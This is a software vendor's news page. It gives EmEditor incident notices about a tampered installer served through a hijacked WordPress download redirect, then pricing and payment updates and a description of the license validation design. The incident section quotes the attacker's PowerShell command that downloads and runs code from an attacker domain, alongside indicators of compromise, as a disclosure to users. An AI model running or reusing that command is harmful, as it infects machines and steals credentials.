[Important] Follow-up: Security Incident Notice Regarding the EmEditor Installer Download Link

Following our earlier announcement, “[Important] Security Incident Notice Regarding the EmEditor Installer Download Link”, we are sharing what we have learned through further investigation, along with additional details that supplement the previous notice.

We sincerely apologize once again for the serious concern and inconvenience this incident has caused.


1. Time Period Potentially Affected (U.S. Pacific Time / UTC)

In our previous notice, we provided the timeframe in U.S. Pacific Time. For reference, we also include Coordinated Universal Time (UTC).

  • Dec 19, 2025 18:39 – Dec 22, 2025 12:50 (U.S. Pacific Time)
  • 2025-12-20 02:39 – 2025-12-22 20:50 (UTC)

If you downloaded the installer during the period above via the EmEditor website download path (for example, the “Download Now” button), there is a possibility that you downloaded a file that was not the legitimate installer provided by us (Emurasoft, Inc.).

Please note that the period above is intentionally broad out of an abundance of caution. The actual window may have been shorter and limited to specific times.


2. About the Suspicious File (Confirmed Differences)

For the file emed64_25.4.3.msi, we have confirmed the existence of at least two suspicious files.

We also confirmed that both suspicious files were signed with Microsoft-issued digital signatures. Because the validity periods were extremely short (only a few days), we believe the certificates were likely issued in a manner similar to developer-oriented issuance.

We reported this incident to Microsoft, provided the suspicious files, and requested revocation of the relevant signatures. We have now confirmed that both signatures have been revoked. As a result, attempting to run the MSI should display a warning that the signature is invalid, making installation difficult.

Legitimate file (official EmEditor installer)

Problematic file #1

Problematic file #2


3. If You Already Deleted the Downloaded File

If you still have the downloaded file (emed64_25.4.3.msi), you can verify it (as previously announced) by checking the digital signature and/or SHA-256.

Even if you already deleted the file, Windows may have kept a copy of the MSI used during installation under C:\Windows\Installer, stored under a different name.

Because this folder is both hidden and protected by the OS, it can be difficult to locate through normal File Explorer browsing. Please open it directly by entering: C:\Windows\Installer.

After opening the folder, we recommend the steps below. Please be extremely careful not to double-click or run any MSI files.

  1. Sort by date (for example, “Date modified”)
  2. Focus on recent files
  3. Check the target file’s digital signature (Right-click → Properties → Digital Signatures)

4. How To Check whether Your Computer May be Infected

Even if the suspicious file was executed, infection is not guaranteed in environments such as:

  • The device was offline
  • A VPN/proxy was required
  • Suspicious PowerShell behavior was blocked by Windows features or policies
  • PowerShell execution was restricted
  • Antivirus/security software blocked the activity

However, if any of the following apply, the likelihood of infection becomes very high:

  • C:\ProgramData\tmp_mojo.log exists
  • A scheduled task named Google Drive Caching exists
  • background.vbs exists in %LOCALAPPDATA%\Google Drive Caching\
  • A browser extension named Google Drive Caching exists in a Chromium-based browser such as Chrome or Microsoft Edge (even if it claims to be made by Google)—especially if it can “read and change data on all websites” and has clipboard access
  • Network logs show connections to any of the following:
  • cachingdrive.com
  • emeditorde.com
  • emeditorgb.com
  • emeditorjp.com
  • emeditorsb.com

If none of the above apply, the risk is lower—but not zero—because part of the attack can run in memory and leave little or no file-based evidence.


5. Confirmed Behavior (Destination Domains, etc.)

As previously announced, we confirmed that the suspicious installer, when executed, downloads additional files from external domains and executes them.

While we previously confirmed access to emeditorjp.com, subsequent investigation has found additional access to emeditorde.com, emeditorgb.com, and emeditorsb.com as well.

None of these four domains (emeditorjp.com, emeditorde.com, emeditorgb.com, emeditorsb.com) are operated by us (Emurasoft, Inc.).

We also confirmed that the PowerShell command described in the previous notice downloads and executes files from external domains, and that this behavior could lead to malware infection and theft of personal information such as passwords.

For additional details, please refer to the research report prepared by Mr. Luca Palermo and Mr. Mario Ciccarelli. Mr. Palermo provided the report to us and granted permission for us to publish it, and we would like to express our sincere thanks for their cooperation.


6. Why This Was “Hard to Spot”

As a basic reality, both domains and digital signatures can be obtained by third parties under certain conditions.

  • Domains can often be purchased at low cost if they are unused or not renewed.
  • Code-signing certificates can generally be obtained from many certificate authorities (in this case, the issuer was Microsoft).
  • Once an issue is discovered, the main available response is to contact the issuer/certification authority and request revocation.

From a technical perspective, MSI installers can include arbitrary scripts (including PowerShell) via custom actions. With sufficient knowledge, an attacker can inject a malware loader into an installer that closely resembles a legitimate, widely distributed one.

Even if the installer were an EXE rather than an MSI, similar attacks would still be possible.

Unfortunately, this means it is difficult for software companies to completely prevent malicious installers that closely imitate legitimate ones from being created and distributed. We must assume that similarly sophisticated, multi-stage malware installers could appear again in the future.

That said, we believe the core issues in this incident can be summarized as follows:

  1. A convenient redirect (download path) used on our website was altered without being detected.
  2. A malicious installer was placed on our website by an external party.

Because these occurred together, we take full responsibility for the fact that customers were harmed after downloading from our official website, and we will reflect this in our future preventive measures.

6-1. Malicious files placed on the EmEditor website

In addition to the malicious installer emed64_25.4.3.msi, we discovered a file named base64.php under a plugin directory. After analyzing base64.php, we determined it was a typical backdoor (remote code execution / RCE).

We also found that a script had been added to footer.php (within the WordPress theme directory). This script hijacked clicks intended for the legitimate URL:

  • https://support.emeditor.com/ja/downloads/latest/installer/64

and redirected them to:

  • https://www.emeditor.com/wp-content/uploads/filebase/emeditor-core/emed64_25.4.3.msi

As a result, clicking the “Download Now” button on the homepage could lead to the malicious file being downloaded.

More maliciously, the script was configured to trigger only for visitors who were not logged in, making the issue difficult for administrators to reproduce and detect. As a result, even when we checked the site ourselves, we did not immediately notice that the redirect had been altered.


7. Cause (Current Assessment)

We are still investigating and have not reached a final conclusion. However, we are considering the possibilities below.

WordPress is made up of multiple components—core, plugins, themes, and more—maintained by many developers. Vulnerabilities are regularly discovered in these components, and updates are released over time.

We regularly update plugins and themes, but in some cases vulnerabilities may remain unpatched for extended periods. It is possible that the attack exploited such a vulnerability.

It is also possible that the SFTP account in use was targeted.


8. Our Response (Completed / Planned)

We immediately deleted the malicious file emed64_25.4.3.msi. We also reviewed file modification logs and confirmed the addition of base64.php and changes to footer.php. After identifying base64.php as a backdoor, we scanned the entire site.

We then rebuilt the website, reinstalled all plugins, and removed unnecessary plugins. We also scanned internal computers and changed login passwords for all WordPress sites and related services. We audited several services we used by looking through their logs.

In addition, we stopped using redirects for download buttons such as “Download Now,” and replaced them with direct links to verified safe files. We also updated the download page to clearly show the MSI’s SHA-256 and added instructions encouraging users to verify the digital signature.

To further strengthen the EmEditor homepage download path, we are also considering migrating the site to a custom/static website instead of WordPress in the near future.


9. Closing

As described above, an installer that has been tampered with can perform extremely dangerous actions when executed. At the same time, we cannot fundamentally prevent third parties from creating and distributing malicious installers that imitate legitimate ones.

Therefore, our top priority is to make sure no one can obtain malware through our website, since it’s our primary distribution channel.

This incident also reminded us that while popular CMS platforms such as Xoops and WordPress are convenient, their extensibility can increase exposure to vulnerabilities—and that simply keeping plugins and themes updated does not eliminate risk entirely.

Fortunately, the Emurasoft Customer Center was not compromised, and our database remained secure. We have no evidence that anyone accessed our customer database.

In the hope that what we learned from this incident will help other software companies, we have included as much detail and context as possible rather than limiting this to a brief report.

We once again offer our sincere apologies for the concern and inconvenience caused. We especially apologize to those who suffered harm related to infection.

Thank you for your continued support of EmEditor.

[Important] Security Incident Notice Regarding the EmEditor Installer Download Link

We regret to inform you that we have identified an incident involving the EmEditor official website’s download path (the [Download Now] button), where unauthorized modification by a third party is suspected. During the affected period, the installer downloaded via that button may not have been the legitimate file provided by us (Emurasoft, Inc.).

We sincerely apologize for the concern and inconvenience this may cause. Please review the information below.


1. Potentially Affected Period

  • Dec 19, 2025 18:39 – Dec 22, 2025 12:50 (U.S. Pacific Time)

If you downloaded the installer from the [Download Now] button on the EmEditor homepage during this period, it is possible that a different file without our digital signature was downloaded. This is a conservative estimate, and in reality the affected period may have been narrower and limited to a specific timeframe.


2. Incident Summary (High-Level Cause)

The [Download Now] button normally points to the following URL:

  • https://support.emeditor.com/en/downloads/latest/installer/64

This URL uses a redirect. However, during the affected period, the redirect settings appear to have been altered by a third party, resulting in downloads being served from the following (incorrect) URL:

  • https://www.emeditor.com/wp-content/uploads/filebase/emeditor-core/emed64_25.4.3.msi

This file was not created by Emurasoft, Inc., and it has already been removed.

As a result, we have confirmed that the downloaded file may be digitally signed not by us, but by another organization named WALSHAM INVESTMENTS LIMITED.

Note: This issue may not be limited to the English page and may affect similar URLs for other languages as well (including Japanese).


3. File Confirmed as Potentially Affected

At this time, the only file confirmed to be involved is:

  • emed64_25.4.3.msi

Legitimate file (official)

  • File name: emed64_25.4.3.msi
  • Size: 80,376,832 bytes
  • Digital signature: Emurasoft, Inc.
  • SHA-256: e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e

Suspicious file (possible tampering)

  • File name: emed64_25.4.3.msi
  • Size: 80,380,416 bytes
  • Digital signature: WALSHAM INVESTMENTS LIMITED

4. Not Affected

You are not affected if any of the following applies:

  • You updated via EmEditor’s Update Checker or through EmEditor’s automatic update
  • You downloaded directly from download.emeditor.info
    Example: https://download.emeditor.info/emed64_25.4.3.msi
  • You downloaded a file other than emed64_25.4.3.msi
  • You used the portable version
  • You used the store app version
  • You installed/updated using winget
  • You downloaded the file but did not run/execute it

5. How to Check and What to Do

If you may have downloaded the installer via [Download Now] during the affected period, please verify the digital signature and SHA-256 hash of the file emed64_25.4.3.msi.

5-1. How to check the Digital Signature (Windows)

  1. Right-click the file (emed64_25.4.3.msi) and select Properties.
  2. Open the Digital Signatures tab.
  3. Confirm that the signer is Emurasoft, Inc.
  • If it shows WALSHAM INVESTMENTS LIMITED, the file may be malicious.

If the “Digital Signatures” tab is not shown, the file may be unsigned or the signature may not be recognized. In that case, do not run the file; delete it and follow the guidance below.

5-2. How to check SHA-256 (Windows / PowerShell)

Open PowerShell and run:

Get-FileHash .\emed64_25.4.3.msi -Algorithm SHA256

Confirm the output SHA-256 matches:

  • Legitimate SHA-256:
    e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e

If the signature or SHA-256 does not match (Recommended actions)

If the digital signature is not Emurasoft, Inc. (e.g., it is WALSHAM INVESTMENTS LIMITED) or the SHA-256 does not match, you may have obtained a tampered file (potentially containing malware).

  • Immediately disconnect the affected computer from the network (wired/wireless)
  • Run a full malware scan on the system
  • Depending on the situation, consider refreshing/rebuilding the environment including the OS
  • Consider the possibility of credential exposure and change passwords used/stored on that device (and enable MFA where possible)

If you are using EmEditor in an organization, we also recommend contacting your internal security team (e.g., CSIRT) and preserving relevant logs where possible.


6. Observed Behavior (As Currently Confirmed)

The suspicious installer may attempt to run the following command when executed. Do not run this command under any circumstances.

  • powershell.exe "irm emeditorjp.com | iex"

This command downloads and executes content from emeditorjp.com.
emeditorjp.com is not a domain managed by Emurasoft, Inc.

Please also note that the installer may still proceed to install EmEditor normally and install legitimate EmEditor program files, which could make the issue difficult to notice.


7. Current Status and Next Updates

We are continuing to investigate the facts and determine the full scope of impact. We will provide updates on this page and/or through our official channels as soon as more information becomes available.
We take this incident very seriously and will implement necessary measures to identify the cause and prevent recurrence.

We sincerely apologize again for the inconvenience and concern this may have caused, and we appreciate your understanding and continued support of EmEditor.

License Price Update

We’ve worked hard to keep our annual subscription price low over the years. However, due to rising costs, we’ll be updating our pricing to ensure we can continue developing EmEditor and providing you with the best possible service. Starting August 28, 2025, the price of an annual subscription license will increase from US$48.00 to US$60.00. Volume license prices will be updated as well. The renewal price for annual subscriptions will be 75% of the new first-year price.

We’re also introducing a monthly subscription option for US$6 per month, available from August 28, 2025.

Prices in your country/region may be in your local currency.

For information on how to calculate the number of licenses you need, please see our guidelines.

We remain committed to continually improving EmEditor and supporting our customers.

Thank you for choosing EmEditor!

Introducing registration keys for Stripe

We are introducing registration keys for Stripe subscriptions. The new registration key works similarly to the existing registration keys. Simply use the same Register Product dialog box to enter your key. Alternatively, you can use the key in the installer parameters if needed.

Version Requirement

Please note that version 24.5.3 or later is required to use the Stripe registration key. Please update EmEditor to use the new registration keys for Stripe.

Accessing Your Registration Key

You can find your registration key in two ways:

Registration Key Format

The new Stripe registration key has a distinct format: r-xxxx-xxxx-xxxx-xxxx-xxxx, where x is a random character.

Help and Support

For detailed instructions on registering your Stripe subscription, please visit our help page: Signing into EmEditor with Stripe.

If you have any questions or encounter any issues, feel free to reach out to us through our Contact Us form. Thank you for your continued support.

EmEditor’s payment processor update

Update (1/7/25): Registration keys will be available for Stripe subscriptions.

We are excited to announce that EmEditor is transitioning to Stripe as our primary payment processor. This change reflects our commitment to improving your purchasing experience while maintaining the highest standards of security and privacy.

What’s changing

  • Payment processor: Stripe is the new payment processor for EmEditor subscription purchases.
  • Rollout plan: We will change the Buy Now link on the English website (emeditor.com) today to go to the Stripe payment page, followed by other languages in the coming weeks.
  • Current subscriptions: Existing 2Checkout subscriptions will remain active. Customers who prefer using 2Checkout can still use this link.
  • Other retailers: This change does not affect other retailers for EmEditor.

Why we chose Stripe

Improved payment options

Stripe supports a wide range of payment methods, including credit and debit cards, bank transfers, Apple Pay, Google Pay, and more.

Stripe supports Link, a secure autofill feature that saves your payment details for faster checkout.

User-friendly experience

With Stripe, you’ll enjoy a fast, intuitive checkout process. The Stripe portal allows you to conveniently manage your subscriptions.

Security and privacy

Your security remains our top priority. Stripe protects customer payment data with strict policies and advanced encryption with PCI DSS compliance.

How to use Stripe for purchases

Purchasing subscriptions

You can purchase subscriptions by going to emeditor.com and clicking on Buy Now. If you are logged into the Emurasoft Customer Center, your email address will be displayed on the Stripe payment page, confirming that the subscription will be linked to the correct user. To purchase for a new user, sign out of the customer center and manually enter the desired email address on the payment page.

You can change the quantity for your subscription by clicking on the “Qty” button in the left half of the screen.

Emails with subscription details

Within minutes after purchase, you’ll receive two emails from emurasoft.com: one with your subscription details and another with your receipt.

Registering EmEditor

After purchasing a subscription, you can register EmEditor by signing into EmEditor.

  1. Open EmEditor.
  2. Go to Help > Registration Information…
  3. Click Sign In/Enter Registration Information.
  4. Sign in with your Emurasoft Customer Center credentials to register with your new subscription.
  5. In Registration Information, ensure that your Subscription ID is displayed and that “Validation successful” appears below.

Registration key for Stripe

You can also register using a registration key, which you can get in two ways:

EmEditor version 24.5.3 or later is required for the new registration keys.

Offline registration

You can request an offline license if you would like to register offline.

Managing your subscription

Viewing your subscription

  1. Log into Emurasoft Customer Center.
  2. Navigate to the Stripe Subscriptions section to view your active subscriptions.

Making changes

  • Use the Stripe portal to manage your Stripe subscription or update your payment method.

Support and feedback

For assistance, please reach out through our Contact Us form. We also welcome your feedback about the Stripe integration to help us continue improving your experience.

We appreciate your continued support and trust in EmEditor. We remain committed to providing you with a secure, reliable, and user-friendly subscription experience.

License Price Update

We haven’t changed the price of an annual subscription since August 2022. However, due to rising costs, we need to adjust the price to sustain development and continue providing quality services to our customers. Therefore, starting August 28, 2024, we will increase the price of an annual subscription license from $40.00 to $48.00. Volume license prices will also be adjusted accordingly.

As previously announced, we will stop selling lifetime licenses on August 28, 2024. Additionally, the renewal price after the first year will increase from the current 50% of the first-year price to 75%, effective on August 28, 2024. If you plan to use EmEditor Professional long-term, you can save by purchasing lifetime licenses now. Alternatively, if you have subscription licenses, you can renew your subscription at the current price before August 28, 2024, without changing the expiration date.

Please also see how to calculate the number of licenses.

We will continue to develop EmEditor and provide support to our customers.

Thank you for using EmEditor!

Avoid Illegitimate License Sellers

Dear EmEditor Users,

As the developer of EmEditor, I urgently need to address a growing concern in our community: the sale of pirated or invalid licenses. It has been noted that such licenses are being offered at significantly discounted prices on various online platforms, including auction sites. Please be aware that if you encounter an EmEditor license at a price that seems too good to be true, it is almost certainly from an illegal source. These offers are not only illegal but also pose significant risks to users. I strongly urge you to refrain from purchasing these licenses.

Why Avoid Illegitimate Licenses:

  1. Short-term Functionality, Long-term Failure: Initially, these unauthorized licenses might seem to work. However, they are programmed to eventually display a message stating, “You might be a victim of software piracy. Please purchase a legitimate software license from EmEditor home page.” This indicates that the software will cease to function properly.
  2. Registration and Activation Issues: Legitimate EmEditor licenses require successful registration in the Emurasoft Customer Center. Pirated licenses fail this process, leading to continuous warning messages and an inability to update the software.
  3. Security Concerns: Purchasing and using these illegitimate licenses exposes you to significant security risks. Often, pirated software sellers try to steal your personal and payment information.
  4. Auction Site Purchases: Please be particularly cautious with licenses sold on auction sites. Many of these are not legitimate, and we do not authorize ownership changes of licenses. Buying from these sources puts you at risk of acquiring a non-transferable, invalid license. EmEditor licenses are non-transferable, with the exception of legal name changes.

The Benefits of Genuine Licenses:

  • Full functionality and reliability of the software.
  • Access to regular updates and customer support.
  • Compliance with legal software usage and enhanced data security.

How to Ensure Your License is Genuine:

Purchase your EmEditor license directly from our official website or through authorized resellers. If you have any doubts about the authenticity of a license, please contact us for verification before completing your purchase.

Your Action Matters:

By choosing genuine licenses, you’re not only ensuring a seamless and secure experience but also supporting the ongoing development and improvement of EmEditor.

We take this issue very seriously and are actively working to combat the sale of these illegal licenses. Your awareness and cooperation are vital in this effort.

Thank you for being a vital part of the EmEditor community.

Sincerely,

Yutaka Emura
Developer of EmEditor

See also: Warning Against Unauthorized Usage – Crack, Keygen, Serial, etc.

New Validation System Explained

In version 24.0.0, we introduced a registration validation system to improve the already existing registration system. This validation system is able to track the number of devices a customer has registered EmEditor on.

This page aims to be transparent about our motivations and to document how the validation system works. If we update the validation system in the future, we will also update this page.

Motivation

In the past, there was no way for us to detect users who were sharing their licenses with multiple people or using their licenses on more devices than allowed by the EULA (End-User License Agreement). We would like customers to purchase enough licenses to follow the terms of the license. This would ensure fairness among customers who have purchased multiple licenses and help us keep delivering a quality product.

Terminology

  • Registration: The one-time process of activating EmEditor Professional with a registration key or Emurasoft Customer Center credentials.
  • Validation: The periodic check that runs each time EmEditor starts to verify that the current installation is associated with a valid license.
  • Registration key: A string used to register EmEditor.
  • Offline registration: A type of registration that lets users register and validate EmEditor without connecting to the EmEditor server.
  • Device: A single counted unit under the license, representing one EmEditor installation. Multiple per-user installations of EmEditor on the same machine are treated as one device.
  • Device limit: The maximum number of devices that may be registered to a user, based on the number of licenses the user owns, as defined in the EULA.
  • Machine: A Windows environment where EmEditor is installed and can run. A machine is uniquely identified by its machine ID. A machine is not necessarily equivalent to a physical computer, because multiple virtual machines can be installed on one computer.
  • Machine ID: A combination of several Windows attributes (MachineGuid, OS install date, volume serial number, processor name, and motherboard name) that is used to distinguish one machine from another.
  • MachineGuid: An identifier for a Windows installation, used as one of the inputs to the machine ID.
  • Virtual machine (VM): A Windows machine running inside a virtualization environment.
  • Local device token: A signed token stored on the user’s machine that verifies that the device was registered.
  • History record: A database record associated with a 2Checkout or reseller purchase.
  • Stripe subscription ID: The identifier of a user’s Stripe subscription, used to associate registered devices with the Stripe subscription.
  • Reseller: A third-party vendor that sells EmEditor licenses (other than 2Checkout or Stripe). Customers who purchase through resellers must register the product and create a Customer Center account to view and manage devices online.
  • Registered Devices page: A page in the Emurasoft Customer Center that lists all devices currently registered for a customer’s licenses and subscriptions.
  • Go: A programming language used for server-side logic.

Requirements

This section lists the requirements for the validation system.

Functional

  • The validation system should loosely enforce the device limit clause of the license. It must not sacrifice customer satisfaction, and the limit should never come as a surprise to users.
  • Registration runs once when the user submits the Register Product dialog box or completes any other registration flow. Validation runs each time EmEditor is opened.
  • Registration requires EmEditor to be able to connect to support.emeditor.com via HTTPS, while validation does not require an internet connection.
  • Users should be able to use an offline license that allows the app to register and validate without connecting to our server. If a user encounters errors during normal registration, an offline license should provide an alternative way to register.
  • Users’ privacy rights must be maintained. The collection of personal information will be opt-in.
  • The system should fit into the existing registration flow and must not introduce an entirely new way to register. Current users should be able to register without having to learn new steps.
    • Uninstalling the app should unregister the device.
  • Users can log in to the Emurasoft Customer Center to view devices so that devices can be unregistered outside of the app.
  • Customers who purchase from resellers other than 2Checkout must register the product and create a Customer Center account, since otherwise there is no way for them to view and manage their devices online.
  • The system should be tested in the background in version 23, and should be fully enforced starting with version 24.
  • We will start selling subscriptions via Stripe, so the system must be able to integrate with Stripe.
  • We will offer registration keys for Stripe subscriptions.
  • Users should be able to use EmEditor in a VM environment without having to re-register frequently.

Technical

  • The system should be simple so that it is easy to maintain.
  • A machine can be identified by its machine ID.
    • The machine ID is a combination of several Windows constants used to identify a machine.
    • Because these values can uniquely identify a machine, they should be hashed to avoid storing the raw values in plaintext.
    • EmEditor Portable can be installed on a USB drive, with its settings stored on that drive. The USB drive can be used on many machines, and the validation system would detect different machine IDs. Therefore, if the app detects that it is a portable version running from a USB drive, registration does not occur.
  • EmEditor can be installed per-user on a multi-user machine. All per-user installations of EmEditor on the same machine must be counted as a single device.
  • There should be a way for us to override the device limit for a given registration key if necessary.
  • A signed token containing the device information should be stored on the user’s device. This associates the current device with the device record stored in the database.
  • The system should be designed so that a floating license mechanism can be integrated in the future, if needed.

Output

  • You can view a list of all devices on the Registered Devices page of Customer Center.
  • If the device limit is reached, a notification will appear. The app will not prevent its use when the device limit is exceeded.

  • If the user bought the app from a reseller (not 2Checkout or Stripe) and has not registered the product, a notification will ask the user to register the product.

Device table

The device table is stored in our database and records all devices that were registered. Note that a History record is associated with a purchase and it is where a legacy registration key is stored. A Device record is defined in Go as follows.

type Device struct {
	DeviceID             string
	UserID               int
	HistoryID            sql.NullInt64
	StripeSubscriptionID sql.NullString
	MachineID            MachineID
	RegistrationDate     time.Time
	ValidationDate       time.Time
	InstallationType     InstallationType
	Label                string
	Unregistered         bool
}

The fields are explained in the documentation for Registered Devices. The MachineID field is explained below.

Privacy measures for label

The Label field may contain personal information. The Label device field in the Register Product dialog box defaults to {computer name} {user name}. The personal information inside the label field is not necessary for the basic functionality of the app. Therefore, we made the label field opt-in to stick to our policy of privacy by default.

Machine ID

The machine ID is used to identify a machine and is stored in the following structure.

type MachineID struct {
    // Identifies a Windows installation
    // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
    MachineGuid string

    // Time of Windows installation
    // SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallTime
    OSInstallDate string

    // Filesystem identifier created when a storage drive is formatted
    // Volume serial number from GetVolumeInformationW()
    VolumeSerialNumber string

    // Name of processor
    // HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
    ProcessorName string

    // Name of motherboard
    // HARDWARE\DESCRIPTION\System\BIOS\BaseBoardManufacturer and HARDWARE\DESCRIPTION\System\BIOS\BaseBoardProduct
    MotherboardName string
}

Each field is securely hashed on the client’s machine before the registration request is sent. The hashed machine ID is stored securely in our database with end-to-end encryption. The plaintext identifier values are never transmitted and are not stored on our servers.

Comparing Machine IDs

We use multiple Windows constants to determine whether two machines are the same. Previously, we assumed that the MachineGuid would remain constant for a given machine, but this turned out to be false. A common case where the MachineGuid changes for a single EmEditor installation is when the customer installs the app on a VM drive that is then booted into different Windows installations.

To improve robustness, we use multiple values from the OS that are mostly constant and together help identify a machine. Using the following algorithm, we decide whether two machines are considered the same.

// Returns true if machine a and b are considered to be equal.
// Machines are considered equal if it scores at least 3 points from the following points.
// 3 points: MachineGuid matches
// 2 points: OS install date matches
// 2 points: Volume serial number matches
// 1 point: Processor name matches
// 1 point: Motherboard name matches
func IsMachineIDSame(a, b MachineID) bool {
	// Quick check: MachineGuid matches (3 points)
	if a.MachineGuid == b.MachineGuid {
		return true
	}

	score := 0

	// 2 points: OS install date matches
	if a.OSInstallDate == b.OSInstallDate {
		score += 2
	}

	// 2 points: Volume serial number matches
	if a.VolumeSerialNumber == b.VolumeSerialNumber {
		score += 2
	}

	// 1 point: Processor name matches
	if a.ProcessorName == b.ProcessorName {
		score += 1
	}

	// 1 point: Motherboard name matches
	if a.MotherboardName == b.MotherboardName {
		score += 1
	}

	return score >= 3
}

If the MachineGuid is the same, we immediately consider the machines to be the same. Otherwise, we look for a total score of 3 or more points, which corresponds to at least two other matching values. The device count, explained below, uses this logic to determine the number of unique machines.

Before version 24.5, we considered only the MachineGuid when determining whether machines were the same. Some customers using VMs then had a negative experience, quickly reaching the device limit even though they believed they had not registered that often. By considering other constants in addition to the MachineGuid, we help ensure that EmEditor can be used in VM environments without unexpectedly hitting the device limit.

Device count

This section describes how we determine how many devices you can register.

First, we query all devices associated with a given registration key or Stripe subscription ID and filter them to those that are currently registered.

Next, we count the number of unique machines using the logic described above. If two devices have the same machine ID according to IsMachineIDSame, then device count is 1. If two devices have different machine IDs, the device count is 2. If there are multiple devices that are considered to be on the same machine, they may represent per-user installations on the same machine or VM.

The EULA allows the licensee to install EmEditor on up to two devices per license. If EmEditor is for personal use and is not installed on corporate computers, the licensee may install EmEditor on up to five devices per license.

The algorithm to get the maximum device limit for a user will not be publically documented.

Local Device token

A LocalDevice token is stored locally on the user’s device in the form of a JWT (JSON Web Token). It associates the current device with the database Device record. It also allows EmEditor to do some validation even if it is offline. The token payload is defined as follows.

type LocalDevice struct {
	DeviceID  string
	MachineID MachineID

	// StripeSubscriptionID is empty if this device is not associated with a subscription.
	StripeSubscriptionID string
}

For per-user installations, the token is stored in the registry as LocalDeviceToken in Computer\HKEY_CURRENT_USER\Software\EmSoft\EmEditor v3\Common.

Offline registration

An offline license allows a user to register without an internet connection. Registration only requires a license file.

A customer can request an offline license file. The customer must include their legacy registration key or Stripe order ID in the request. We will reply to the customer’s email address within a few business days with the license file. The license file is a text file that contains a JWT token with the following payload.

type LicenseFile struct {
	LicenseID string
	UserID    int
	FullName  string
	Email     string

	// Is nil if not a Stripe subscription
	StripeSubscriptionID *string

	// Is nil if not a registration key
	HistoryID *int
}

The offline license token is saved to the registry entry OfflineLicense.

There are three ways that the device limit is enforced and illegal sharing of the license file is prevented. 1) When EmEditor can access the internet, validation is performed. 2) We will only send the license file via email instead of downloading from our website. 3) The Registration Information dialog will display the license owner’s full name and email.

OfflineLicense table

Usage of offline licenses is tracked using the OfflineLicense table. It includes the machine ID to track how many machines used the license and the Revoked flag to allow us to revoke a license.

type OfflineLicense struct {
	LicenseID            string
	UserID               int
	MachineID            MachineID
	StripeSubscriptionID sql.NullString
	HistoryID            sql.NullInt64

	// Revoked indicates that this license cannot be used
	Revoked bool
}

Registration Information dialog box

Registration Information displays information about the user’s registration. This is useful for knowing what your registration status is and for diagnosing any issues with validation. It also allows the user to edit the device information and to unregister.

The dialog runs validation and shows whether or not it was successful.

Stripe registration keys

We have introduced a new registration key format specifically for Stripe subscriptions, referred to as the “Stripe registration key” in this article. The older format is called the “legacy registration key,” while the term “registration key” is used to encompass both formats.

The Stripe registration key format is as follows:

r-xxxx-xxxx-xxxx-xxxx-xxxx

where x is a base58 character. Each character is generated randomly, which means that one Stripe registration key has 117 bits of entropy.

Registration process

There are four scenarios where the registration process may happen.

  • Most users will register through the Register Product dialog box.
  • Register using the MSI installer.
  • Offline registration using the command line.
  • If you unregister a device, then open EmEditor on that device, the device is registered automatically.

There are three online registration flows, depending on whether a legacy registration key is used (RegisterDeviceLegacyRegkey()), a Stripe registration key is used (RegisterDeviceStripeRegkey) or a Stripe subscription is used (RegisterDeviceSubscription()). There is an additional registration flow for offline registration (StoreOfflineLicenseAndValidate()).

In this section, “Client” refers to the local EmEditor app on the user’s machine. “Server” is our backend server and database.

Finding a subscription to use

  1. If the user signs in, the server tries to find a valid Stripe subscription that has 0 associated devices.
  2. If no subscription has 0 associated devices, then it tries to find a subscription that has not exceeded the device limit.
    1. If there is a usable Stripe subscription, RegisterDeviceSubscription() is called.
    2. If such Stripe subscription does not exist, it will find a valid legacy registration key that has not exceeded the device limit. RegisterDeviceLegacyRegkey() is used for legacy registration keys.

Registration with legacy registration key (RegisterDeviceLegacyRegkey())

  1. If a device token already exists, the client sends an unregister request to the server. The token and registration key are deleted from the registry.
  2. The client sends a registration request to the server, which includes the legacy registration key, email, machine ID, label, and installation type.
  3. The server compares the input email with the actual email of the user to make sure they are similar.
  4. The server gets the device count (defined in the previous section) to determine if the legacy registration key can be used to register the device
  5. A Device record is created.
  6. The client receives the device ID. Using the device ID, the client requests a local device token.
  7. The server creates and responds with the local device token. The expiration date of the token is set to the legacy registration key expiration date. The client writes the token to local storage.

Registration with Stripe registration key (RegisterDeviceStripeRegkey())

  1. If a device token already exists, the client sends an unregister request to the server. The token and registration key is deleted from the registry.
  2. The client sends a registration request to the server, which includes the Stripe registration key, email, machine ID, label, and installation type.
  3. The server compares the input email with the actual email of the user to make sure they are similar.
  4. The server verifies that the Stripe subscription is valid.
  5. The server gets the device count (defined in previous section) to determine if the Stripe registration key can be used to register the device
  6. A Device record is created.
  7. The client receives the device ID. Using the device ID, the client requests a local device token.
  8. The server creates and responds with the local device token. The expiration of the token is set to one month in the future if the subscription status is active. If the subscription status is canceled, the expiration date is set to the end date of the current billing period. The client writes the token to local storage.

Registration with Stripe subscription (RegisterDeviceSubscription())

  1. If a device token already exists, the client sends an unregister request to the server. The token and registration key is deleted from the registry.
  2. The client sends a registration request to the server, which includes the Stripe subscription, machine ID, label, and installation type.
  3. The server verifies that the Stripe subscription is valid.
  4. The server queries deviceCount (defined in previous section) to determine if the Stripe subscription can be used to register the device.
  5. A Device record is created.
  6. The client receives the device ID. Using the device ID, the client requests a local device token.
  7. The server creates and responds with the local device token. The expiration is set to one month in the future if the subscription status is active. If the subscription status is canceled, the expiration date is set to the end date of the current billing period. The client writes the token to local storage.

Registration with offline license (StoreOfflineLicenseAndValidate())

The user registers an offline license by saving the license file to the filesystem, then running the command line option

/ol "licenseFilePath"

This list outlines the offline registration process.

  1. Delete the registration key, local device token, and offline license token from the registry.
  2. Read the license file and save it to the registry.
  3. Run ValidateDevice().

Validation process (ValidateDevice())

Validation occurs every time the app is opened.

  1. If local device token does not exist in the registry, call ValidateOfflineLicense().
  2. The token’s signature is validated. The actual machine ID is compared with the machine ID in the token. The result is ignored if the app is running on a removable drive.
    • If validation fails due to expected reasons such as a mismatched machine ID, the reason is output as status text.
    • For other unexpected errors such as network error, validation succeeds.
  3. A random number generator determines if validation should stop here. This is to reduce the load of requests to our server.
  4. The validation function sleeps the thread for a certain duration. This is again to reduce the request load, as we assume that macros and other automated use cases that rapidly start and close the app would only run it for a short duration.
  5. The client requests the Device data for the stored device ID.
  6. If the device is associated with a Stripe subscription, the server verifies that the Stripe subscription is valid.
  7. If device.Unregistered == true, the client attempts to register the device.
